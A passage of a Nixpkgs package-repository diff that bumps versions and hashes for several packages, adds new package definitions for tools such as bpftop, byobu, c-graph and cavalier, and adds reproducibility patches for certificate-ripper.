tests - "-E" (lib.strings.escapeShellArg "(${lib.concatStringsSep "|" [ - # Currently broken: https://github.com/AyatanaIndicators/ayatana-indicator-session/issues/90 - "^test-service" - ]})") - ])) ]; doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform; diff --git a/pkgs/by-name/be/bemoji/package.nix b/pkgs/by-name/be/bemoji/package.nix index 1747d8934c262..37e2155ca1d3b 100644 --- a/pkgs/by-name/be/bemoji/package.nix +++ b/pkgs/by-name/be/bemoji/package.nix @@ -5,13 +5,13 @@ stdenvNoCC.mkDerivation rec { pname = "bemoji"; - version = "0.3.0"; + version = "0.4.0"; src = fetchFromGitHub { owner = "marty-oehme"; repo = "bemoji"; rev = "refs/tags/v${version}"; - hash = "sha256-DhsJX5HlyTh0QLlHy1OwyaYg4vxWpBSsF71D9fxqPWE="; + hash = "sha256-HXwho0vRI9ZrUuDMicMH4ZNExY+zJfbrne2LMQmmHww="; }; strictDeps = true; diff --git a/pkgs/by-name/bi/bitmagnet/package.nix b/pkgs/by-name/bi/bitmagnet/package.nix index f09920f77785d..3c8f5b6c7605e 100644 --- a/pkgs/by-name/bi/bitmagnet/package.nix +++ b/pkgs/by-name/bi/bitmagnet/package.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "bitmagnet"; - version = "0.6.2"; + version = "0.7.0"; src = fetchFromGitHub { owner = "bitmagnet-io"; repo = "bitmagnet"; rev = "v${version}"; - hash = "sha256-17jRktEqBCAXiddx8FnqHg3+c/03nqKHC8BQc9AhQA0="; + hash = "sha256-lomTfG6Fo4IywI8VMRvv4mBNRxLCq6IQGIuaR61UwOE="; }; - vendorHash = "sha256-YfsSz72CeHdrh5610Ilo1NYxlCT993hxWRWh0OsvEQc="; + vendorHash = "sha256-tKU4GoaEwwdbpWjojx+Z/mWxXKjceJPYRg5UTpYzad4="; ldflags = [ "-s" "-w" ]; diff --git a/pkgs/tools/security/bitwarden/cli.nix b/pkgs/by-name/bi/bitwarden-cli/package.nix index 68abb6385319d..68abb6385319d 100644 --- a/pkgs/tools/security/bitwarden/cli.nix +++ b/pkgs/by-name/bi/bitwarden-cli/package.nix diff --git a/pkgs/tools/security/bitwarden/default.nix b/pkgs/by-name/bi/bitwarden-desktop/package.nix index 5ed43dc6b3b66..c2d3f04db7d57 100644 --- a/pkgs/tools/security/bitwarden/default.nix +++ b/pkgs/by-name/bi/bitwarden-desktop/package.nix @@ -29,7 +29,7 @@ let icon = "bitwarden"; electron = electron_28; in buildNpmPackage rec { - pname = "bitwarden"; + pname = "bitwarden-desktop"; version = "2024.2.0"; src = fetchFromGitHub { @@ -41,8 +41,7 @@ in buildNpmPackage rec { patches = [ (fetchpatch2 { - # https://github.com/bitwarden/clients/pull/7508 - url = "https://github.com/amarshall/bitwarden-clients/commit/e85fa4ef610d9dd05bd22a9b93d54b0c7901776d.patch"; + url = "https://github.com/bitwarden/clients/commit/746bf0a4745423b9e70c2c54dcf76a95ffb62e11.patch"; hash = "sha256-P9MTsiNbAb2kKo/PasIm9kGm0lQjuVUxAJ3Fh1DfpzY="; }) ]; @@ -68,7 +67,7 @@ in buildNpmPackage rec { patches; patchFlags = [ "-p4" ]; sourceRoot = "${src.name}/${cargoRoot}"; - hash = "sha256-KJUz5hvdsurnohUWRZedXvuWMnLtR0dcdTeHtJGrZBs="; + hash = "sha256-LjwtOmIJlwtOiy36Y0pP+jJEwfmCGTN4RhqgmD3Yj6E="; }; cargoRoot = "apps/desktop/desktop_native"; diff --git a/pkgs/by-name/bm/bmake/package.nix b/pkgs/by-name/bm/bmake/package.nix index 5ee120ac4ca91..fe4e8b6ed6dd3 100644 --- a/pkgs/by-name/bm/bmake/package.nix +++ b/pkgs/by-name/bm/bmake/package.nix @@ -11,11 +11,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "bmake"; - version = "20240108"; + version = "20240301"; src = fetchurl { url = "http://www.crufty.net/ftp/pub/sjg/bmake-${finalAttrs.version}.tar.gz"; - hash = "sha256-N3JXiCBhbpmZFvTFHb0kFbBvcoH2jMzMXh047SOOMQc="; + hash = "sha256-JM4L46z8i5PHWgeWxi7swWN246fAVXCzAtIEgOOOn1k="; }; patches = [ diff --git a/pkgs/by-name/bn/bngblaster/package.nix b/pkgs/by-name/bn/bngblaster/package.nix index 4f4030bdd70d3..e21573061553d 100644 --- a/pkgs/by-name/bn/bngblaster/package.nix +++ b/pkgs/by-name/bn/bngblaster/package.nix @@ -12,13 +12,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "bngblaster"; - version = "0.8.35"; + version = "0.8.39"; src = fetchFromGitHub { owner = "rtbrick"; repo = "bngblaster"; rev = finalAttrs.version; - hash = "sha256-zljpApecUKtdU1HqLmeREeL+rmDUMhBWnycgmENlt1o="; + hash = "sha256-w8E/GcwLCH6OYwabRWH+CNQ2p7scMK8ogReRxNFqI4k="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/bo/bonsai/package.nix b/pkgs/by-name/bo/bonsai/package.nix index da5f81c928d53..6c5d9adb78b5e 100644 --- a/pkgs/by-name/bo/bonsai/package.nix +++ b/pkgs/by-name/bo/bonsai/package.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "bonsai"; - version = "1.0.2"; + version = "1.1.0"; src = fetchFromSourcehut { owner = "~stacyharper"; repo = "bonsai"; rev = "v${finalAttrs.version}"; - hash = "sha256-Yosf07KUOQv4O5111tLGgI270g0KVGwzdTPtPOsTcP8="; + hash = "sha256-Wsr76OQOIqRPCx/8GK9NovxxPZ3dEP8pSo8wgMK1Hfo="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/bo/boogie/package.nix b/pkgs/by-name/bo/boogie/package.nix index 94117375f0e12..495f538726df2 100644 --- a/pkgs/by-name/bo/boogie/package.nix +++ b/pkgs/by-name/bo/boogie/package.nix @@ -2,13 +2,13 @@ buildDotnetModule rec { pname = "Boogie"; - version = "3.0.10"; + version = "3.1.1"; src = fetchFromGitHub { owner = "boogie-org"; repo = "boogie"; rev = "v${version}"; - sha256 = "sha256-0E4yAVNWJC67vX0DTQj1ZH7T6JKOgE0BDf6u0V0QvFA="; + sha256 = "sha256-k3+8VlE6dRx3t+qhheHsRl+MBcnh/M1cRgfks5eLvck="; }; projectFile = [ "Source/Boogie.sln" ]; diff --git a/pkgs/by-name/bp/bpftop/package.nix b/pkgs/by-name/bp/bpftop/package.nix new file mode 100644 index 0000000000000..7a87f202a65ee --- /dev/null +++ b/pkgs/by-name/bp/bpftop/package.nix @@ -0,0 +1,43 @@ +{ lib +, rustPlatform +, fetchFromGitHub +, pkg-config +, elfutils +, zlib +, libbpf +}: + +rustPlatform.buildRustPackage rec { + pname = "bpftop"; + version = "0.2.3"; + + src = fetchFromGitHub { + owner = "Netflix"; + repo = "bpftop"; + rev = "v${version}"; + hash = "sha256-mtif1VRlDL1LsJQ3NQmBEaHTxrt2qMbZAFCEhtm/CtI="; + }; + + cargoHash = "sha256-N3pmet7OkIaI3EnzHfqe5P24RHabNUArEB1cKUYM5rA="; + + buildInputs = [ + elfutils + libbpf + zlib + ]; + + nativeBuildInputs = [ + pkg-config + ]; + + meta = { + description = "A dynamic real-time view of running eBPF programs"; + homepage = "https://github.com/Netflix/bpftop"; + license = lib.licenses.asl20; + maintainers = with lib.maintainers; [ + _0x4A6F + mfrw + ]; + mainProgram = "bpftop"; + }; +} diff --git a/pkgs/by-name/br/bruteforce-salted-openssl/package.nix b/pkgs/by-name/br/bruteforce-salted-openssl/package.nix index 404a900a3c0e2..93a2d66d4edeb 100644 --- a/pkgs/by-name/br/bruteforce-salted-openssl/package.nix +++ b/pkgs/by-name/br/bruteforce-salted-openssl/package.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation rec { pname = "bruteforce-salted-openssl"; - version = "1.4.2"; + version = "1.5.0"; src = fetchFromGitHub { owner = "glv2"; repo = "bruteforce-salted-openssl"; rev = version; - hash = "sha256-ICxXdKjRP2vXdJpjn0PP0/6rw9LKju0nVOSj47TyrzY="; + hash = "sha256-hXB4CUQ5pihKmahyK359cgQACrs6YH1gHmZJAuTXgQM="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/br/bruteforce-wallet/package.nix b/pkgs/by-name/br/bruteforce-wallet/package.nix index bc1c43b735316..19344499bd49d 100644 --- a/pkgs/by-name/br/bruteforce-wallet/package.nix +++ b/pkgs/by-name/br/bruteforce-wallet/package.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "bruteforce-wallet"; - version = "1.5.3"; + version = "1.5.4"; src = fetchFromGitHub { owner = "glv2"; repo = "bruteforce-wallet"; rev = version; - hash = "sha256-1sMoVlQK3ceFOHyGeXKXUD35HmMxVX8w7qefZrzAj5k="; + hash = "sha256-ngzG39c/bWv++PHVgce9r1PXElFhpgYoAepbqD/1Dq0="; }; nativeBuildInputs = [ diff --git a/pkgs/games/itch/butler.nix b/pkgs/by-name/bu/butler/package.nix index cbd6b8aef9365..cbd6b8aef9365 100644 --- a/pkgs/games/itch/butler.nix +++ b/pkgs/by-name/bu/butler/package.nix diff --git a/pkgs/by-name/by/byobu/package.nix b/pkgs/by-name/by/byobu/package.nix new file mode 100644 index 0000000000000..bf6896f3153ae --- /dev/null +++ b/pkgs/by-name/by/byobu/package.nix @@ -0,0 +1,98 @@ +{ lib +, autoreconfHook +, bc +, fetchFromGitHub +, gettext +, makeWrapper +, perl +, python3 +, screen +, stdenv +, vim +, tmux +}: + +let + pythonEnv = python3.withPackages (ps: with ps; [ snack ]); +in +stdenv.mkDerivation (finalAttrs: { + pname = "byobu"; + version = "6.12"; + + src = fetchFromGitHub { + owner = "dustinkirkland"; + repo = "byobu"; + rev = finalAttrs.version; + hash = "sha256-NzC9Njsnz14mfKnERGDZw8O3vux0wnfCKwjUeTBQswc="; + }; + + nativeBuildInputs = [ + autoreconfHook + gettext + makeWrapper + ]; + + buildInputs = [ + perl # perl is needed for `lib/byobu/include/*` scripts + screen + tmux + ]; + + doCheck = true; + strictDeps = true; + + postPatch = '' + for file in usr/bin/byobu-export.in usr/lib/byobu/menu; do + substituteInPlace $file \ + --replace "gettext" "${gettext}/bin/gettext" + done + ''; + + postInstall = '' + # By some reason the po files are not being compiled + for po in po/*.po; do + lang=''${po#po/} + lang=''${lang%.po} + # Path where byobu looks for translations, as observed in the source code + # and strace + mkdir -p $out/share/byobu/po/$lang/LC_MESSAGES/ + msgfmt --verbose $po -o $out/share/byobu/po/$lang/LC_MESSAGES/byobu.mo + done + + # Override the symlinks, otherwise they mess with the wrapping + cp --remove-destination $out/bin/byobu $out/bin/byobu-screen + cp --remove-destination $out/bin/byobu $out/bin/byobu-tmux + + for file in $out/bin/byobu*; do + # We don't use the usual "-wrapped" suffix because arg0 within the shebang + # scripts points to the filename and byobu matches against this to know + # which backend to start with + bname="$(basename $file)" + mv "$file" "$out/bin/.$bname" + makeWrapper "$out/bin/.$bname" "$out/bin/$bname" \ + --argv0 $bname \ + --prefix PATH ":" "$out/bin" \ + --set BYOBU_PATH ${lib.makeBinPath [ vim bc ]} \ + --set BYOBU_PYTHON "${pythonEnv}/bin/python" + done + ''; + + meta = { + homepage = "https://www.byobu.org/"; + description = "Text-based window manager and terminal multiplexer"; + longDescription = '' + Byobu is a text-based window manager and terminal multiplexer. It was + originally designed to provide elegant enhancements to the otherwise + functional, plain, practical GNU Screen, for the Ubuntu server + distribution. Byobu now includes an enhanced profiles, convenient + keybindings, configuration utilities, and toggle-able system status + notifications for both the GNU Screen window manager and the more modern + Tmux terminal multiplexer, and works on most Linux, BSD, and Mac + distributions. + ''; + license = with lib.licenses; [ gpl3Plus ]; + mainProgram = "byobu"; + maintainers = with lib.maintainers; [ AndersonTorres ]; + platforms = lib.platforms.unix; + }; +}) diff --git a/pkgs/by-name/c-/c-graph/package.nix b/pkgs/by-name/c-/c-graph/package.nix new file mode 100644 index 0000000000000..83679aacce96f --- /dev/null +++ b/pkgs/by-name/c-/c-graph/package.nix @@ -0,0 +1,26 @@ +{ lib, stdenv, fetchurl, gfortran, gnuplot, makeWrapper }: + +stdenv.mkDerivation rec { + pname = "c-graph"; + version = "2.0.1"; + + src = fetchurl { + url = "mirror://gnu/c-graph/c-graph-${version}.tar.gz"; + hash = "sha256-LSZ948nXXY3pXltR2hHnql6YEpHumjTvbtz4/qUIRCQ="; + }; + + nativeBuildInputs = [ gfortran makeWrapper ]; + + postInstall = '' + wrapProgram $out/bin/c-graph --prefix PATH : ${lib.makeBinPath [ gnuplot ]} + ''; + + meta = with lib; { + description = "A Tool for Learning about Convolution"; + homepage = "https://www.gnu.org/software/c-graph/"; + license = licenses.gpl3Plus; + maintainers = with maintainers; [ sikmir ]; + platforms = platforms.unix; + mainProgram = "c-graph"; + }; +} diff --git a/pkgs/development/tools/rust/cargo-bloat/default.nix b/pkgs/by-name/ca/cargo-bloat/package.nix index 03f8922ba6321..59085534d0632 100644 --- a/pkgs/development/tools/rust/cargo-bloat/default.nix +++ b/pkgs/by-name/ca/cargo-bloat/package.nix @@ -8,10 +8,10 @@ rustPlatform.buildRustPackage rec { owner = "RazrFalcon"; repo = pname; rev = "v${version}"; - sha256 = "sha256-lCA7C1G2xu65jn3/wzj6prWSrjQz3EqqJyMlPR/HRFs="; + hash = "sha256-lCA7C1G2xu65jn3/wzj6prWSrjQz3EqqJyMlPR/HRFs="; }; - cargoSha256 = "sha256-fOenXn5gagFss9DRDXXsGxQlDqVXZ5LZcdM4WsXAyUU="; + cargoHash = "sha256-fOenXn5gagFss9DRDXXsGxQlDqVXZ5LZcdM4WsXAyUU="; meta = with lib; { description = "A tool and Cargo subcommand that helps you find out what takes most of the space in your executable"; @@ -19,6 +19,6 @@ rustPlatform.buildRustPackage rec { license = licenses.mit; platforms = platforms.unix; maintainers = with maintainers; [ xrelkd matthiasbeyer ]; + mainProgram = "cargo-bloat"; }; } - diff --git a/pkgs/development/tools/rust/cargo-make/default.nix b/pkgs/by-name/ca/cargo-make/package.nix index 1971c81f46093..0c8aaec637f36 100644 --- a/pkgs/development/tools/rust/cargo-make/default.nix +++ b/pkgs/by-name/ca/cargo-make/package.nix @@ -10,16 +10,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-make"; - version = "0.37.9"; + version = "0.37.10"; src = fetchFromGitHub { owner = "sagiegurari"; repo = "cargo-make"; rev = version; - hash = "sha256-pfLK9QGDS4KPIdXq/LI++/r1OxqmgF0qqVJNDSVrZFI="; + hash = "sha256-qahmRwRjwefkp21f4nsIR4THGibkQ8+20qVmQmJ7+Vk="; }; - cargoHash = "sha256-x8cx64B+skusk0LDRQT/1g57NBQMchy2HvvryoY0R/I="; + cargoHash = "sha256-NTi+1ULK+k1JIP7z3/3v7gPUxXgliq3i8gtJQVLDGEY="; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/by-name/ca/cargo-swift/package.nix b/pkgs/by-name/ca/cargo-swift/package.nix index 62741dc4a0f46..d8135f2ca4f67 100644 --- a/pkgs/by-name/ca/cargo-swift/package.nix +++ b/pkgs/by-name/ca/cargo-swift/package.nix @@ -6,16 +6,16 @@ rustPlatform.buildRustPackage rec { pname = "cargo-swift"; - version = "0.6.0"; + version = "0.6.1"; src = fetchFromGitHub { owner = "antoniusnaumann"; repo = "cargo-swift"; rev = "v${version}"; - hash = "sha256-ATpEo7s/qatK7hsbNo9tE97yMpymA1xmf879WrgUluM="; + hash = "sha256-hTlgIPXXdhxFtK/acXITwitIg1DGgF4cCVaAxogWPrk="; }; - cargoHash = "sha256-hKTvtPulltsxi0PX8Xmo9MYcQYuTdOOspfgLCaEKQL4="; + cargoHash = "sha256-6F4CX9uiCfPbgFRZ0hC/s5xT42S2V5ZgGQ+O2bHb9vg="; meta = with lib; { description = "A cargo plugin to easily build Swift packages from Rust code"; diff --git a/pkgs/by-name/ca/cavalier/deps.nix b/pkgs/by-name/ca/cavalier/deps.nix new file mode 100644 index 0000000000000..c8d4cb3f33d2a --- /dev/null +++ b/pkgs/by-name/ca/cavalier/deps.nix @@ -0,0 +1,44 @@ +# This file was automatically generated by passthru.fetch-deps. +# Please dont edit it manually, your changes might get overwritten! + +{ fetchNuGet }: [ + (fetchNuGet { pname = "Ace4896.DBus.Services.Secrets"; version = "1.2.0"; sha256 = "1i1rwv8z2dx0mjib7vair2w7ylngmrcpbd012sdlpvdjpx0af0bn"; }) + (fetchNuGet { pname = "Cake.Tool"; version = "4.0.0"; sha256 = "11vc5fimi6w465081sqxs4zhw7grr6v8ga7nl1mscdl43wv33ql2"; }) + (fetchNuGet { pname = "CommandLineParser"; version = "2.9.1"; sha256 = "1sldkj8lakggn4hnyabjj1fppqh50fkdrr1k99d4gswpbk5kv582"; }) + (fetchNuGet { pname = "GetText.NET"; version = "1.9.14"; sha256 = "18z4cf0dldcf41z8xgj3gdlvj9w5a9ikgj72623r0i740ndnl094"; }) + (fetchNuGet { pname = "GirCore.Adw-1"; version = "0.5.0-preview.3"; sha256 = "090kg5v99myd7hi49cz933cl36hk5n586ywy78gf5djn5im3v19l"; }) + (fetchNuGet { pname = "GirCore.Cairo-1.0"; version = "0.5.0-preview.3"; sha256 = "0bh1h2hr6givrq6096bvzcsg4lab1hlm7r7h4bqifbw0zmmcfb7k"; }) + (fetchNuGet { pname = "GirCore.FreeType2-2.0"; version = "0.5.0-preview.3"; sha256 = "194p44gd7r69x70j3qynv5v8awlyxmdazmzpwzgj5ayy2xpdk3hy"; }) + (fetchNuGet { pname = "GirCore.Gdk-4.0"; version = "0.5.0-preview.3"; sha256 = "09p097nvs7vi7l14l024m39qyhg1gyqihanq7zv66xqys4hzim1g"; }) + (fetchNuGet { pname = "GirCore.GdkPixbuf-2.0"; version = "0.5.0-preview.3"; sha256 = "0lspyra1g1rd8hj3f3daxspin5dhgplzgjh4jwhlgzzn648942j0"; }) + (fetchNuGet { pname = "GirCore.Gio-2.0"; version = "0.5.0-preview.3"; sha256 = "090svrddgpliks5r29yncih3572w7gdc552nl16qbviqbmhr0lbs"; }) + (fetchNuGet { pname = "GirCore.GLib-2.0"; version = "0.5.0-preview.3"; sha256 = "1wxwf24gabd69yxpnhv30rn7pcv49w885jdw3nqbrakl7pvv9fza"; }) + (fetchNuGet { pname = "GirCore.GObject-2.0"; version = "0.5.0-preview.3"; sha256 = "0iajydyx79f3khx0fhv8izbxlzxwn6gpps2xzmi9c4v98ly221j3"; }) + (fetchNuGet { pname = "GirCore.Graphene-1.0"; version = "0.5.0-preview.3"; sha256 = "114fbgxils50jdy891nwj70yr43lnwgbq9fzxqzywd1kk70k7mww"; }) + (fetchNuGet { pname = "GirCore.Gsk-4.0"; version = "0.5.0-preview.3"; sha256 = "0f5s6f6pwc9vc3nm7xfaa06z2klgpg4rv5cdf0cwis3vlncd7dnj"; }) + (fetchNuGet { pname = "GirCore.Gtk-4.0"; version = "0.5.0-preview.3"; sha256 = "1fn0b8lwlrmjm9phjq4amqnq3q70fl214115652cap5rz4rjmpgg"; }) + (fetchNuGet { pname = "GirCore.HarfBuzz-0.0"; version = "0.5.0-preview.3"; sha256 = "0xska2l44l0j38mlgmrwly1qal9wzbv2w2jjj8gn90sxbygb8zky"; }) + (fetchNuGet { pname = "GirCore.Pango-1.0"; version = "0.5.0-preview.3"; sha256 = "0ccw3bd3kl24mnxbjzhya11i0ln6g1g7q876pyy54cwh48x4mdia"; }) + (fetchNuGet { pname = "GirCore.PangoCairo-1.0"; version = "0.5.0-preview.3"; sha256 = "0lds340p5cci7sjp58nh94jxkjvzfky9cbs2h4q98hglxndjm7r9"; }) + (fetchNuGet { pname = "Markdig"; version = "0.33.0"; sha256 = "1dj06wgdqmjji4nfr1dysz7hwp5bjgsrk9qjkdq82d7gk6nmhs9r"; }) + (fetchNuGet { pname = "Meziantou.Framework.Win32.CredentialManager"; version = "1.4.5"; sha256 = "1ikjxj6wir2jcjwlmd4q7zz0b4g40808gx59alvad31sb2aqp738"; }) + (fetchNuGet { pname = "Microsoft.Data.Sqlite.Core"; version = "8.0.0"; sha256 = "05qjnzk1fxybks92y93487l3mj5nghjcwiy360xjgk3jykz3rv39"; }) + (fetchNuGet { pname = "Microsoft.NETCore.Targets"; version = "5.0.0"; sha256 = "0z3qyv7qal5irvabc8lmkh58zsl42mrzd1i0sssvzhv4q4kl3cg6"; }) + (fetchNuGet { pname = "Microsoft.Win32.SystemEvents"; version = "8.0.0"; sha256 = "05392f41ijgn17y8pbjcx535l1k09krnq3xdp60kyq568sn6xk2i"; }) + (fetchNuGet { pname = "Nickvision.Aura"; version = "2023.11.4"; sha256 = "0gasyglp1pgi0s6zqzmbm603j3j36vvr68grv6g93fdj2vjlmkxs"; }) + (fetchNuGet { pname = "Octokit"; version = "9.0.0"; sha256 = "0kw49w1hxk4d2x9598012z9q1yr3ml5rm06fy1jnmhy44s3d3jp5"; }) + (fetchNuGet { pname = "SkiaSharp"; version = "2.88.6"; sha256 = "0xs11zjw9ha68maw3l825kfwlrid43qwy0mswljxhpjh0y1k6k6b"; }) + (fetchNuGet { pname = "SkiaSharp.NativeAssets.Linux"; version = "2.88.6"; sha256 = "0cg38xgddww1y93xrnbfn40sin63yl39j5zm7gm5pdgp5si0cf2n"; }) + (fetchNuGet { pname = "SkiaSharp.NativeAssets.macOS"; version = "2.88.6"; sha256 = "1fp9h8c8k6sbsh48b69dc6461isd4dajq7yw5i7j6fhkas78q4zf"; }) + (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.6"; sha256 = "1w2mwcwkqvrg4x4ybc4674xnkqwh1n2ihg520gqgpnqfc11ghc4n"; }) + (fetchNuGet { pname = "SQLitePCLRaw.bundle_e_sqlcipher"; version = "2.1.6"; sha256 = "15v2x7y4k7cl47a9jccbvgbwngwi5dz6qhv0cxpcasx4v5i9aila"; }) + (fetchNuGet { pname = "SQLitePCLRaw.core"; version = "2.1.6"; sha256 = "1w8zsgz2w2q0a9cw9cl1rzrpv48a04nhyq67ywan6xlgknds65a7"; }) + (fetchNuGet { pname = "SQLitePCLRaw.lib.e_sqlcipher"; version = "2.1.6"; sha256 = "0dl5an15whs4yl5hm2wibzbfigzck0flah8a07k99y1bhbmv080z"; }) + (fetchNuGet { pname = "SQLitePCLRaw.provider.e_sqlcipher"; version = "2.1.6"; sha256 = "1jx8d4dq5w2951b7w722gnxbfgdklwazc48kcbdzylkglwkrqgrq"; }) + (fetchNuGet { pname = "System.Drawing.Common"; version = "8.0.0"; sha256 = "1j4rsm36bnwqmh5br9mzmj0ikjnc39k26q6l9skjlrnw8hlngwy4"; }) + (fetchNuGet { pname = "System.IO.Pipelines"; version = "6.0.0"; sha256 = "08211lvckdsdbd67xz4f6cyk76cli565j0dby1grlc4k9bhwby65"; }) + (fetchNuGet { pname = "System.Memory"; version = "4.5.3"; sha256 = "0naqahm3wljxb5a911d37mwjqjdxv9l0b49p5dmfyijvni2ppy8a"; }) + (fetchNuGet { pname = "System.Memory"; version = "4.5.5"; sha256 = "08jsfwimcarfzrhlyvjjid61j02irx6xsklf32rv57x2aaikvx0h"; }) + (fetchNuGet { pname = "Tmds.DBus"; version = "0.15.0"; sha256 = "1bz5j6wfp9hn4fg5vjxl6mr9lva4gx6zqncqyqxrcb8lw7hvhwc6"; }) + (fetchNuGet { pname = "Tmds.DBus.Protocol"; version = "0.15.0"; sha256 = "0d99kcs7r9cp6gpyc7z230czkkyx4164x86dhy0mca73f2ykc2g2"; }) +] diff --git a/pkgs/by-name/ca/cavalier/package.nix b/pkgs/by-name/ca/cavalier/package.nix new file mode 100644 index 0000000000000..e563b14379dd2 --- /dev/null +++ b/pkgs/by-name/ca/cavalier/package.nix @@ -0,0 +1,74 @@ +{ lib +, buildDotnetModule +, dotnetCorePackages +, fetchFromGitHub +, pkg-config +, blueprint-compiler +, glib +, gtk4 +, libadwaita +, wrapGAppsHook4 +, appstream-glib +, desktop-file-utils +, cava +}: + +buildDotnetModule rec { + pname = "cavalier"; + version = "2024.1.0"; + + src = fetchFromGitHub { + owner = "NickvisionApps"; + repo = "Cavalier"; + rev = "refs/tags/${version}"; + hash = "sha256-SFhEKtYrlnkbLMnxU4Uf4jnFsw0MJHstgZgLLnGC2d8="; + }; + + dotnet-sdk = dotnetCorePackages.sdk_8_0; + dotnet-runtime = dotnetCorePackages.runtime_8_0; + + projectFile = "NickvisionCavalier.GNOME/NickvisionCavalier.GNOME.csproj"; + nugetDeps = ./deps.nix; + executables = "NickvisionCavalier.GNOME"; + + nativeBuildInputs = [ + pkg-config + blueprint-compiler + wrapGAppsHook4 + appstream-glib + desktop-file-utils + ]; + + buildInputs = [ + glib + gtk4 + libadwaita + ]; + + runtimeDeps = [ + glib + gtk4 + libadwaita + ]; + + postInstall = '' + substituteInPlace NickvisionCavalier.Shared/Linux/org.nickvision.cavalier.desktop.in \ + --replace-fail '@EXEC@' "NickvisionCavalier.GNOME" + install -Dm444 NickvisionCavalier.Shared/Linux/org.nickvision.cavalier.desktop.in -T $out/share/applications/org.nickvision.cavalier.desktop + install -Dm444 NickvisionCavalier.Shared/Resources/org.nickvision.cavalier.svg -t $out/share/icons/hicolor/scalable/apps/ + install -Dm444 NickvisionCavalier.Shared/Resources/org.nickvision.cavalier-symbolic.svg -t $out/share/icons/hicolor/symbolic/apps/ + ''; + + makeWrapperArgs = [ "--prefix PATH : ${lib.makeBinPath [ cava ]}" ]; + + passthru.updateScript = ./update.sh; + + meta = { + description = "Visualize audio with CAVA"; + homepage = "https://github.com/NickvisionApps/Cavalier"; + mainProgram = "NickvisionCavalier.GNOME"; + license = lib.licenses.mit; + platforms = lib.platforms.linux; + maintainers = with lib.maintainers; [ zendo ]; + }; +} diff --git a/pkgs/by-name/ca/cavalier/update.sh b/pkgs/by-name/ca/cavalier/update.sh new file mode 100755 index 0000000000000..1dc8cd08998e0 --- /dev/null +++ b/pkgs/by-name/ca/cavalier/update.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env nix-shell +#!nix-shell -I nixpkgs=./. -i bash -p curl jq common-updater-scripts +#shellcheck shell=bash + +set -eu -o pipefail + +version=$(curl -s ${GITHUB_TOKEN:+-u ":$GITHUB_TOKEN"} \ + https://api.github.com/repos/NickvisionApps/Cavalier/releases/latest | jq -e -r .tag_name) +old_version=$(nix-instantiate --eval -A cavalier.version | jq -e -r) + +if [[ $version == "$old_version" ]]; then + echo "New version same as old version, nothing to do." >&2 + exit 0 +fi + +update-source-version cavalier "$version" + +$(nix-build -A cavalier.fetch-deps --no-out-link) "$(dirname -- "${BASH_SOURCE[0]}")/deps.nix" diff --git a/pkgs/by-name/ce/celeste64/deps.nix b/pkgs/by-name/ce/celeste64/deps.nix index 9f2596b14a6fb..245b7054a6250 100644 --- a/pkgs/by-name/ce/celeste64/deps.nix +++ b/pkgs/by-name/ce/celeste64/deps.nix @@ -3,7 +3,6 @@ { fetchNuGet }: [ (fetchNuGet { pname = "FosterFramework"; version = "0.1.18-alpha"; sha256 = "0jglck1ffdyp48sqmadlsxdddlyq45ydfzlxbrqdhszzi92ipq7a"; }) - (fetchNuGet { pname = "Microsoft.NET.ILLink.Tasks"; version = "8.0.1"; sha256 = "1drbgqdcvbpisjn8mqfgba1pwb6yri80qc4mfvyczqwrcsj5k2ja"; }) (fetchNuGet { pname = "SharpGLTF.Core"; version = "1.0.0-alpha0031"; sha256 = "0ln78mkhbcxqvwnf944hbgg24vbsva2jpih6q3x82d3h7rl1pkh6"; }) (fetchNuGet { pname = "SharpGLTF.Runtime"; version = "1.0.0-alpha0031"; sha256 = "0lvb3asi3v0n718qf9y367km7qpkb9wci38y880nqvifpzllw0jg"; }) (fetchNuGet { pname = "Sledge.Formats"; version = "1.2.2"; sha256 = "1y0l66m9rym0p1y4ifjlmg3j9lsmhkvbh38frh40rpvf1axn2dyh"; }) diff --git a/pkgs/by-name/ce/certificate-ripper/fix-test-temp-dir-path.patch b/pkgs/by-name/ce/certificate-ripper/fix-test-temp-dir-path.patch new file mode 100644 index 0000000000000..ff9b7d3bebd55 --- /dev/null +++ b/pkgs/by-name/ce/certificate-ripper/fix-test-temp-dir-path.patch @@ -0,0 +1,13 @@ +diff --git a/src/test/java/nl/altindag/crip/command/FileBaseTest.java b/src/test/java/nl/altindag/crip/command/FileBaseTest.java +index 674ca10..f140601 100644 +--- a/src/test/java/nl/altindag/crip/command/FileBaseTest.java ++++ b/src/test/java/nl/altindag/crip/command/FileBaseTest.java +@@ -26,7 +26,7 @@ import java.util.stream.Collectors; + + public class FileBaseTest extends BaseTest { + +- protected static final Path TEMP_DIRECTORY = Paths.get(System.getProperty("user.home"), "certificate-ripper-temp"); ++ protected static final Path TEMP_DIRECTORY = Paths.get(System.getenv("TMP"), "certificate-ripper-temp"); + + @BeforeEach + void createTempDirAndClearConsoleCaptor() throws IOException { diff --git a/pkgs/by-name/ce/certificate-ripper/make-deterministic.patch b/pkgs/by-name/ce/certificate-ripper/make-deterministic.patch new file mode 100644 index 0000000000000..b9e7aa1d0a1e3 --- /dev/null +++ b/pkgs/by-name/ce/certificate-ripper/make-deterministic.patch @@ -0,0 +1,68 @@ +diff --git a/pom.xml b/pom.xml +index dd0075d..46ac184 100644 +--- a/pom.xml ++++ b/pom.xml +@@ -46,6 +46,7 @@ + <version.license-maven-plugin>4.2.rc3</version.license-maven-plugin> + <license.git.copyrightYears>2021</license.git.copyrightYears> + <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> ++ <project.build.outputTimestamp>1980-01-01T00:00:02Z</project.build.outputTimestamp> + </properties> + + <scm> +@@ -103,6 +104,55 @@ + + <build> + <plugins> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-enforcer-plugin</artifactId> ++ <version>3.4.1</version> ++ <executions> ++ <execution> ++ 